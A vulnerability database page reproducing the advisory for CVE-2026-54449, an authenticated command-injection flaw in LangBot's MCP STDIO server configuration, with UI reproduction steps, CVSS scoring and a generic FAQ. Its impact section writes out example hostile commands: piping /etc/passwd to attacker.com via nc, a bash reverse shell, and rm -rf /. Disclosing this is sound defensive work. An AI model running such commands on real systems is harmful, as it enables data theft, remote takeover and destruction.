Vulnerability Database

359,126

Total vulnerabilities in the database

CVE-2026-54449 — langbot

Improper Neutralization of Special Elements used in a Command ('Command Injection')

Summary

Any authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command.

Details

The repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine.

Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine.

PoC

  1. Open the LangBot server
  2. Navigate to Extensions
  3. Open the "MCP" tab and press "Add"
  4. Choose an STDIO server configuration
  5. Add any arbitrary command with arguments <img width="480" height="538" alt="Screenshot 2026-01-19 at 15 08 43" src="https://github.com/user-attachments/assets/c341afa8-68c0-4c34-b5b6-ad8796184bdd" />

Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more.

Impact

This is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Video POC

https://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea

Resources

https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/

CVSS v3:

  • Severity: High
  • Score: 8.8
  • AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWEs:

OWASP TOP 10:

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.